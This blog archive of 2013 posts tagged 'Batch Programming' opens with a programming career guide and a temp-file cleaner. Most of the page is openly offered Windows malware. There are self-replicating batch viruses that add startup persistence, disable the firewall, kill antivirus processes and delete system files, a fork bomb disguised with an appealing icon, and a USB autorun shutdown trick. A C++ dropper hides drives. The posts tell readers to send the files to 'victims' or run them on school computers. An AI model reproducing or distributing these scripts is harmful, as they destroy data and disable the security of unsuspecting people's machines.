Showing posts with label Batch Programming. Show all posts
Showing posts with label Batch Programming. Show all posts

Sunday, 15 September 2013

How to Become a Programmer

Become a ProgrammerBecoming a programmer is a cumulative process that builds up your skills day after day and year after year, and programming can be fun and rewarding (mentally, spiritually and financially). This guide does not promise to give a magically easy way to becoming a programmer, and the ordering of the steps is not sacred, but you'll get a general outline of how to become a programmer in one of the modern programming fields.

Steps

  1. Take an introductory course in one (or both) of the following disciplines:
    • Logic
    • Discrete mathematics
  2. Learn database concepts such as tables, views/queries and procedures. You can use any simple database package to do this, such as:
    • MS Access
    • DB V
    • Fox Pro
    • Paradox
    • MySQL is a good database to learn because it’s free, commonly used, and databases are commonly accessed with SQL queries
  3. Decide what type of programmer you want to be. Programmers generally fall under one of the following categories:
    • Web programmer
    • Desktop application programmer
      • Operating system (OS) oriented programmer(tied to a single operating system or set of operating systems)
      • Platform-independent programmer
    • Distributed applications programmer
    • Library/platform/framework/core programmer
    • System programmer
      • Kernel programmer
      • Driver programmer
      • Compiler programmer
    • Programming scientist 
  4. Learn the technologies and programming languages related to your programming field of choice. The following sections break down the tasks for different types of programming.

Web Programming

    Web applications reside in a web server and are accessed via a web browser
  1. Know what Web programming entails. Web applications are software components designed to work on top of the internet architecture. This means that the applications is accessed through a web browser software such as Firefox or Internet Explorer. Being built on top of the Internet architecture does not necessarily require an active connection to the internet. It means that Web applications are built on top of standard web technologies such as:
  2. Browse many diverse websites to learn about how they usually look. (Right click, then click View Source or press F12.) Look for diversity in the type/content of the website, not the quantity of websites visited. Generally, you will need to visit at least one of each of the following types of websites:
    • Corporate presence sites (commercial corporations, not-for-profit corporate/organizations, governmental organizations)
    • Web indexing engines (search engines, meta search sites, specialized search engines, directories)
    • Data mining sites
    • Personal sites
    • Informational/encyclopedic pages (wikis, data sheets, technical specifications, and manuals listing directories, blogs and journals, news and news agencies sites, yellow pages, etc.)
    • Social sites (social portals, bookmarking sites, note-taking sites)
    • Collaborative sites (this includes other categories mentioned above, such as wikis and blogs)
  3. Learn at least one brainstorming technique/method and a software that is used to implement that method. For example: brainstorming diagrams and MS Visio.
  4. Get familiar with website structuring. This is creating conceptual web diagrams, site-maps, and navigation structures.
  5. Take a crash course on graphics design. Try to learn at least one graphics editing/manipulation software package (optional, but strongly recommended)
  6. Learn the basics of the internet infrastructure. This includes getting a basic idea about:
    • Base Web services protocols (HTTP, FTP, SMTP, and POP3 or IMAP4)
    • Web server software (preferably, one for the platform you will be working on mostly)
    • Web browsing software.
    • Email server and client software
  7. Learn the HTML and CSS languages. You might also want to get the "what you see is what you get(WYSIWYG)" software package for editing HTML.
  8. Learn XML and XML related technologies, such as XSL and XPath (optional but recommended).
  9. Create simple static websites until you are familiar with and comfortable around HTML.
  10. Learn a client-side scripting language. Most users either learn Javascript or VBScript, but some learn Perl and DHTML.
  11. Familiarize yourself with the client-side scripting language you learned. Try to reach your potential using only that language. Only go to the next step after you've at least become familiar with your client-side scripting language.
  12. Learn at least one server-side programming language. If you choose to restrict yourself to one server software, learn one of the programming languages supported by that software. If not, learn at least one programming language on each server software.
  13. Create a pilot project for yourself after you finish learning the server-side programming language.
  14. Obtain your own website and start experimenting online within your own page.

Desktop Application Programming

  1. Know what you're getting into with desktop application programming. Most desktop programmers write code for business solutions, so getting an idea about businesses, their organizational and financial structure will be a big time-saver.
  2. Learn about the different computer hardware architectures. An introductory level course in digital circuits design and another in computer architecture is useful; however, some see it as being advanced for a starting point, so reading two or three tutorial articles (such as this one and this one) might suffice. Then you can go back to this step later, after you learn your first programming language.
  3. Learn an entry-level (kids') programming language. Don't be shy to learn such a language just because you're older than being called a "kid". These programming languages can ease up the pain in learning your first programming language tremendously. However, this step is optional. It can also be done before the preceding step
  4. Get an introduction to the procedural, object oriented, and functional programming paradigms.
  5. Take an introductory course in one of the procedural programming languages. No matter what language you choose later to be your language of choice, it will require procedural programming at some level. Also, procedural programming is reported by most programmers to be the easiest to use as a starting point to get the idea of programming in general.
  6. Learn at least one advanced modeling technique such as UML or ORM.
  7. Start writing some small console or console-like applications. You can make use of common small exercises in programming languages books. For this, choose a tool for writing programs in the programming language you are writing in.
  8. Take a more advanced course in your chosen programming language. Make sure you understand the following concepts well and that you can apply them with relative ease before going forward:
    • Inputting and outputting information to users of a program.
    • The logical flow and the execution flow of programs in procedural languages.
    • Declaring, assigning and comparing variables.
    • Branching programming constructs such as if..then..else and select/switch..case.
    • Looping constructs such as while..do, do..while/until, for..next.
    • Your programming language syntax for creating and calling procedures and functions.
    • Data types and manipulating them.
    • User defined data types (records/structs/units) and their use.
    • If your language supports overloading functions, understand it.
    • The memory accessing methods of your language of choice (pointers, peeking, etc.)
    • If your language supports operators overloading, understand it.
    • If your language supports delegates/function pointers, understand it
  9. Apply the advanced techniques you've learned.
  10. Take an introductory course in at least one more programming language in another programming paradigm. It is recommended to learn one programming language of each paradigm, and most advanced programmers do, however, you usually start with one, work for a while applying your knowledge and practicing it, then learn the other later on, after you already had a real-life experience in programming. Try one of the following language areas:
    • Object-oriented paradigm.
    • Logic programming paradigm.
    • Functional programming paradigm.
  11. Try to compare the two programming languages you learned so far. Evaluate the strengths and weaknesses of each one. Usually this is done by:
    • Taking simple samples of your early work in the first programming language and re-write it using the second programming language.
    • Creating a new project and try implementing it using both languages. Sometimes, depending on your choice of project and languages, you might not be able to implement the project in one of the languages!
    • Writing a cheat-sheet or summary-table comparisons between similar constructs in the two languages and features unique to each of the languages.
    • Try finding ways to mimic features that is unique to one of the two languages using the other language.
  12. Learn visual programming concepts using one of the languages you learned. Almost all programming languages have versions/libraries that support visual programming and others supporting console or console-like programming. This can be accomplished by:
    • Get an introduction to event-driven programming. Most visual programming relies in some level on events and events handling (using the programming language you choose).
    • Try as much desktop software as you can and understand what the software does. Most software development companies offer beta-testing versions of their products which you can use to test the software. Keep up-to-date on user interface advancements.
    • Read some articles or tutorials on graphical user interfaces.
  13. Start applying your knowledge on small software projects you design. Try applying your programming expertise on problems you face in your day-to-day life. For example, write programs that rename files in mass, compares text files visually, copies the names of files in a directory to memory/text file, and things like that. Keep it simple at first.
  14. Create a virtual graduation project. Complete this to the end, applying the techniques of visual programming you learned so far.
  15. Widen your understanding of the visual framework/library/package you learned before by taking advanced courses, paying extra attention to detail and learning more tips and tricks for your framework from online resources.
  16. Search for other packages/libraries of visual elements for your programming languages and learn them.
  17. Take a course in graphics (not graphics design). It will be very helpful for programmers wanting to write appealing user-interface elements.
  18. Become a games programmer (optional). Game programming is considered, in most of its parts, desktop programming. If you intend to become a games programmer, you will need to learn more about game programming after you finish these steps. A graphics course is a must for game programmers and the second language of choice in the preceding steps should be a logic/functional programming language (preferably Prolog or Lisp).

Distributed Applications Programming

    Distributed applications use services and serviced components to distribute the workload of a big computing task
  1. Tackle distributed applications programming. Distributed application programming is considered by many to be one of the hardest to learn and requires diverse knowledge in computer and communication technologies.
  2. Take a speed introduction to telephony systems and their hardware. This step is optional. However, it is very useful in understanding network topologies.
  3. Familiarize yourself with networking hardware architectures and devices such as hubs, switches and routers.
  4. Take a course in networking protocols and essentials. You need a good understanding of the Open Systems Interconnection (OSI) model, Ethernet, IP, TCP, UDP and HTTP before you start programming distributed applications.
  5. Learn the XML language and familiarize yourself with it.
  6. Start by learning a shell scripting language. For Windows-based programming, that would be any script that works with Windows Scripting Host. For Linux-based programming, Bash scripts and Perl will be sufficient. Javascript is strongly recommended for this in both platforms for the following reasons:
    • It is supported by almost any scripting host in any operating system (Windows Scripting Host supports javascript by default, most Linux distributions has a package for javascript scripting console support).
    • It is considered to be easier to learn by many developers.
    • It has an ALGOL derived syntax which familiarizes you with much more other programming languages when you need to choose a second programming language (C, C++, C#, Java and J# all have ALGOL derived syntax).
    • By learning javascript, you familiarize yourself with client-side scripting of web pages which is a bonus side-effect!
  7. Apply only procedural programming using your scripting language of choice at first. Later, you can use more advanced programming techniques and paradigms according to your scripting language and what it supports. All scripting languages have some procedural programming aspects at some level.
  8. Use the scripting language you learned to write scripts that perform communications between machines. Learn what is necessary for doing that. Simple communications will suffice.
  9. Make a transfer to a desktop scripting/programming language. Preferably, one that is a multi-paradigm language such as Python. Take a simple introduction to that second language. Java is considered by most programmers to be the language of choice for many reasons. However, C# is gaining momentum fast in this field. Java and C# are preferred for the following reasons:
    • They are object oriented programming languages which shields programmers in large teams from implementation details as they both supports components (units of code, pre-compiled, that perform a certain task and can be used in other programs).
    • They support event-driven programming, as well as OO and procedural programming at some level.
    • The framework that the language is built upon is distributed by nature (in the case of Java).
    • The availability of many ready-made packages that deal with networking, both as open-source code and framework built-in packages; this makes it easier for programmers to build upon the work of others.
  10. Concentrate more on the core features of the language, especially those supporting networking. Pay less attention to user-interface elements such as outputting, window design and techniques, and user-interface elements.
  11. Take a course on distributed applications design and architectures. This can be done using books, online tutorials or academic courses. However, understanding the architecture of distributed applications and its concepts is necessary.
  12. Learn about building serviced components and services using your programming language of choice.
  13. Learn one or more of the following technologies. It is recommended that you get at least an introduction to all of them. Most distributed application programmers do not stop at one or two programming languages, but learn at least one programming language on each operating system. That is because if you want your application to be "distributed", you should provide a version of it at least for each major operating system.
    • Common Object Request Broker Architecture (CORBA)
    • Simple Object Access Protocol (SOAP)
    • Asynchronous JavaScript and XML (AJAX)
    • Distributed Component Object Model (DCOM)
    • .NET Remoting
    • XML Web Services

Library/Platform/Framework/Core Programming

  1. Know what core programming is. Core programmers are merely advanced programmers who made the transfer from programming applications to programming code units to be used by other programmers.
  2. Learn a programming language that supports building reusable components/packages, if you have not done so already.
  3. Take an advanced course in UML and ORM. Most library developers use one or both of them.
  4. Take a course in software engineering.
  5. Learn at least modular, component-based, object-oriented, and event-driven programming techniques and concepts. The more programming paradigms and languages you cover, the more successful you become as a library/package programmer.
  6. Learn more about the different operating systems and programming frameworks supported by these operating systems.
  7. Focus your learning efforts on platform-independent frameworks, programming languages and technologies.
  8. If the programming languages you learned so far have ANSI/ISO/IEEE/W3C standard versions, master the standards. Try to use standard code whenever possible.
  9. Try to mimic simple, already established libraries, especially open-source ones. This is useful during the early phase of becoming a library/package programmer. Start with simple packages like units conversion and intermediate scientific calculations packages. If you are a collage student, make use of your non-programming courses by trying to implement their equations and scientific core as libraries.
  10. Search for and try open-source packages in your field of programming. First download binaries/executables of the package. Try to use it and find its strong and weak points. After you've done that, download the source and try to figure out how it was done. Try to recreate those libraries or parts of them. At first, do that after you've seen the code and later before you see the code. At later phases, try improving those libraries.
  11. Learn the different approaches used to distribute and deploy components to programmers
    • Usually, library/package programmers tend to think recursively and/or iteratively of all problems they are presented with. Try to think of each problem as a collection of smaller problems (a sequence of simpler tasks) or as a repeated process of reducing the problem's scope to smaller scopes and then piling those scopes upon each other.
    • Library/package programmers tend to generalize. That is, when presented with a simple specific problem, they usually think of a more general problem and try to solve that general problem which will automatically solve the smaller one.

System Programming

  1. Understand what system programming entails. System Programmers deal with the science of programming not the specific implementations of it. Do not tie yourself to a specific platform.
  2. Follow the first three steps for Desktop Applications Programmers.
  3. Take an introductory course in Linear Algebra.
  4. Take a course in Calculus.
  5. Take a course in Logic and/or Discrete Mathematics.
  6. Introduce yourself to different bare operating systems. This can be done by:
    • Getting an idea on how operating systems are installed.
    • Learning how to install different operating systems on one PC (optional, but recommended).
    • Installing more than one operating system. Do not install any helping packages on the systems; instead, use the bare functionalities provided by the operating systems.
  7. Take a course (or alternatively, read books) on computer hardware architecture.
  8. Develop an understanding of the different computer hardware platforms.
  9. Get an introductory familiarization with the assembly language of the hardware platform/operating system of choice. You will later learn the assembly of other platforms/systems.
  10. Learn the ANSI C and C++ languages, along with the concepts of procedural programming.
  11. Understand and practice C/C++ standard libraries on the platform of choice. Pay particular attention to Standard Template Library (STL) and maybe Active Template Library (ATL).
  12. Search online resources, books and courses to get an understanding of the C-flavor of your specific platform.
  13. Practice creating advanced code with C and C++.
  14. Learn more advanced Assembly.
  15. Take a course in operating systems design.
  16. Find and read documentations of your specific platform of choice. Tthis will be easier if you choose a Unix-based operating system. Understand the system you will be working with later very well.
  17. Practice your acquired knowledge. First create small system utilities. It is usually useful to:
    • Trying to recreate small tools that are already there on your system.
    • Trying to port utilities available in other operating systems to yours.
  18. Learn languages in the most helpful order. This is the only place were the first programming language matters. Learn ANSI C first, not C++, not C#, not Java and not D. Then learn C++.
    • Restricting the first language to C and C alone is because systems programming requires that the programmer be familiar with the following concepts:
      • Real and full compilation of source code.
      • Low-level object output files.
      • Linking binaries.
      • Low-level machine-language/assembly programming. The C language is said to be a disguised/easier to learn assembly by some. It also supports inserting assembly language code in code whenever you please and it is only procedural (like assembly).

Programming Science

  1. Know what a programming scientist does. Programming scientists are very advanced programmers who, instead of working on developing applications, work on developing computing technologies such as encryption, programming languages and data mining algorithms. This level is seldom achieved without academic study and dedication.
  2. Accumulate the scientific knowledge equivalent to a four-year degree in computer science. This can be done either by:
    • Taking an actual academic degree (which is what usually happens).
    • Getting the courses' outlines for such a degree from one of the modern universities and taking the courses either by self-study or as separate courses. This could be achieved theoretically, but the recommended path is the first.
  3. Decide a field of specialty. The more specific, the better. This depends on your preferences. However, here is a list of some of the major topics in computer programming science:
    • Algorithm design (searching, sorting, encryption, decryption and error detection in communications are some examples)
    • Programming languages/compiler design/optimization
    • Artificial intelligence fields (pattern recognition, speech recognition, natural language processing, neural networks)
    • Robotics
    • Scientific programming
    • Supercomputing
    • Computer aided design/modeling (CAD/CAM)
    • Virtual reality
    • Computer graphics (Computer graphics is usually wrongly confused with graphical design or graphical user interface design. Computer graphics is the field of studying how to represent and manipulate graphics in computer systems.)
  4. Consider getting a higher academic degree. You might wish to pursue a master's degree or a doctorate.
  5. Learn the technologies and programming languages related to your programming field of choice.

Tips

No matter what type of programming you want to try or what level you want to be at, consider taking classes at school or your local community college. Don't be intimidated by terms such as "Computer Science." Any class you can get into without any prerequisites should focus on teaching the fundamentals of programming - but check with the instructor or a counselor beforehand to make sure it is what you are looking for, as classes like "Computer Literacy" may focus more on becoming familiar with office applications and the like.

Friday, 13 September 2013

Delete all temporary files by simple click |Batch Programming

I am going to guide you to create a Batch Program to delete all unwanted temporary files from your temp folder.  


1.Copy this code :


ECHO This Batch File deletes all unwanted Temporary files from your
system ECHO Now we go to the Windows\temp directory.
cd %temp%
ECHO Deleting unwanted temporary files....
del *.tmp
ECHO Your System is Now Clean

2.Paste in Notepad
3.Now save the file with ".bat" extenstion for eg: tempdel.bat
4. That's all finished
5.Whenever you like to delete temporary files. simply Double click the bat file. 

How to shutdown your victim's system using pen drive

Step 1:
copy this code into notepad:

@echo off
shutdown -s -t 00

Save it with .bat extension (for eg: clickme.bat).

Step 2:  
      Now open the notepad and copy this code:

[autorun]
Open=filename.bat
Action=Mouse Disable

   Save it as "autorun.inf"

//don't forget to change the "filname.bat" with your filname.bat.
Step 3: 
         Then copy the two files in your pen drive or victim's pen drive.

That's all whenever the victim insert his pen drive,the system will be turned off automatically.

 

How to create a Dangerous virus using Batch programming?


In this post i am going to give you dangerous virus code which is written in Batch Programming language.

Virus can do:
  • Copy itself into startup
  • Copy itself over one thousand times into random spots in your computer
  • Hide its self and all other created files
  • Task kill MSN, Norton, Windows Explorer, Limewire.
  • Swap the left mouse button with the right one
  • Opens alert boxes
  • Changes the time to 12:00 and shuts down the computer
Here is the Code:
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

copy this code into notepad and save as Greatgame.bat(while saving select all files instead of text ).
  Be careful..!! if you double click the batch file,then you are the victim of this virus

Try this in your school or college or in your friend computer.

Verry very Dangerous Virus Program using Batch Programming

Hi friends, here is another very very dangerous virus progrmming using Batch programming. 


Viruc will do:
  • Copy itself for multiple times.
  • This will disable the restore option by deleting the restore file.
  • This will disable the login option.
  • If this affect the system, then the user can't use his OS longer.

start
color 5
title Your Fucked, lol
time 12:00
net stop "Security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
start
echo copy %0 >> c:\autoexec.bat
copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat
Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg
echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg
start c:\regstart.reg
copy %0 %systemroot%\shroom.bat > nul
start
copy %0 *.bat > nul
start
attrib +r +h virus.bat
attrib +r +h
RUNDLL32 USER32.DLL,SwapMouseButton
tskill msnmsgr
tskill Limewire
tskill iexplorer
tskill NMain
tskill Firefox
tskill explorer
tskill AVGUARD
msg * Awww Your computer is now fucked
msg * You got owned!
msg * Say Bye to your computer n00b
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
del "C:\WINDOWS\pchealth\"
del "C:\WINDOWS\system\"
del "C:\WINDOWS\system32\restore\"
del "C:\WINDOWS\system32\logonui.exe"
del "C:\WINDOWS\system32\ntoskrnl.exe"
del "Winlogon.exe"
ERASE c:
start
shutdown - s -t 15 -c "15 Seconds and counting"
cd %userprofile%\Desktop
copy fixvirus.bat %userprofile%\Desktop
echo HAXHAXHAX
:LOOP
color 17
color 28
color 32
color 22
color 11
color 02
color 39
color 34
GOTO LOOP


Copy this code into notepad and save as shroom.bat(while saving select all files instead of text files)

     This is dangerous virus. So Handle it with careful. Don't try in your pc or friend pc. Just try in your school or college.
- See more at: http://www.breakthesecurity.com/2010/12/verry-very-dangerous-virus-program.html#more

How to lock a folder without any software (Batch Programming)

Locker Code:
cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Enter password to lock folder or for cancel press N
set/p "cho=>"
if %cho%==XXXX goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==XXXX goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

  1. Copy this Code into notepad and replace the XXXX with your password.
  2. Save it with .bat extension(for eg: lock.bat).
  3. Copy the Batch file to any folder.
  4. Now double click the Batch file, It will ask you to enter the Password. Enter the password.
  5. Now you can see the Lock folder is created.
  6. Place your files into lock folder which you want to protect.
  7. Again double click the Batch file, it will ask you enter the password. Enter the password.
  8. Now the folder will be Locked.
  9. To unlock again double click the Batch file,enter the password.
  10. You can see the Lock folder.

It is very cool to use.
- See more at: http://www.breakthesecurity.com/2010/12/how-to-lock-folder-without-any-software.html#more

A batch program to open the notepad file continuously

I am going to give you simple batch program to open the notepad continuously.  This is not at all going to harmful. But be careful.

Batch Code:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


Open the Notepad and paste this code.

Save the file with .bat extension(for eg: notepadhack.bat).

Now double clicking the file will open the notepad continuously.

Try this in your college or school system.

Or send to your enemies.


How this Program working:
Here ":top" is label. Label is like an address for someone.
"GOTO" gives simple meaning as go to that place. Means we are saying that go to the top label.
"START" code will start the exe file which is in that path.

A simple batch program for Port Scanning

Hi friends in this post we are going to see how to create Batch programming for port scanning. 
  • Open Notepad
  • Paste this code:



@ECHO off

color 0a
cd\
C:
cls
for /L %%v in (1,1,11) do telnet %1 %%v
GOTO scan2
:scan2
for /L %%w in (12,1,20) do telnet %1 %%w

  • Save it with .bat extension(for eg: portscanner.bat)
  • Goto command prompt and, goto the exact location of where this port.bat is located.
  • now type the following command on the command prompt.   port 127.0.0.1
  • This will port scan upto 20 continuous ports starting from 1 to 20 on your localhost.
  • This is not much efficient and not much reliable, but this is just to show, that there is a possibility for port scanning automation using Batch file programming.
- See more at: http://www.breakthesecurity.com/2010/12/simple-batch-program-for-port-scanning.html#more

Fake virus for making fun with your friends

Fake virus what i mean?
   This is not at all virus.  This is not at all make any effect.  It just shut down your friend system for only once and show  " your facebook account is hacked"(for fun only).


What is the code?
   So far we create a lot of virus using Batch programming .  This time also we are going to use our Batch programming. 

Code:

@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!
PAUSE
shutdown -r -t 300 -c " SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ..........."

What you should do with this code?
      Copy this code and paste in notepad
       Save the file with .bat extension.(for eg: facebookhelp.bat)
       Now sent this file to your friend and ask to click.

What this will do?
  It will show first  "WARNING VIRUS DETECTED!!!!! AFTE.........." msg in cmd
  Then it will shutdown.  Before shutdown it will show "SORRY!!! YOUR ....." msg in cmd .

one line Virus creation using Batch Programming

1.Go to notepad,
2. Type 

erase C:\WINDOWS
3. Save it with .bat extension ,
4. send to victim . once the victim open the file windows will be erased.

How to disable/delete your victim's Antivirus?


Here i am giving you the batch program to disable or delete the antivirus in victims computer.

@ echo off
rem --
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem --

Copy this code to notepad
Save it with .bat extension(for eg antdis.bat)
send to your victim.

Create a virus to make the computer freezed using Batch Programming

Special about this virus is that easy to remember the code. So it will be useful to use in college or school.

  This is for newbie. This virus is harmful for CPU. So be careful. Don't run this in your pc or friend pc.

Open a notepad.




  • copy this code to notepad:

%0|%0

  • Save the file with .bat extension(For eg: music.bat)
  • That's all once your victim clicked this file,the CPU will be overloaded.
  • Don't worry it will be come to normal operation after restarting.

If you are doing this in your college or school,you can try this:

  • copy this bat file to any drive.
  • Create shortcut to desktop(by right click and sent to desktop).
  • Now go to desktop and right click on the shortcut.
  • Select Properties.
  • Click the Change icon.
  • Select any icon which will attract users.
  • and click ok.

Screen shots for reference:






Create a virus to create a infinite folder in a drive

Hi Hackers, this batch code will very helpful for you.  This is simple and effective virus code.

As usual open notepad.
Copy this code to Notepad.

@echo off
:top
md %random%
goto top
 @echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creating folders with random names.
goto top – return to label :top , infinite loop

Save the file with .bat extension(for eg: folderscreate.bat)

That's all if you double click the file it will create a finite folder wherever the batch file is. 

Virus to Delete mouse,explore,logoff using Batch Programming

Usually we write simple viruses in batch programming.  This time also i have one Batch Programming. It will delete explore.exe,logoff ,mouse,keyboard files. So victims can not do anything in his computer.



@echo off

@if exist c:\windows\system32\mouse del c:\windows\system32\mouse
@if exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
@if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
@if exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe

C++ ,Batch Virus code to disable All Hard disk

Hi friends,here i give you give the C++ virus code.  Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also.



C++ Virus Code :

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }


Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.


Batch Virus Code Creation:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f
I think this code will simple for non c++ programmers. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim

Thursday, 12 September 2013

Funny Virus To Open Notepad Again and Again In Your Friends Computer

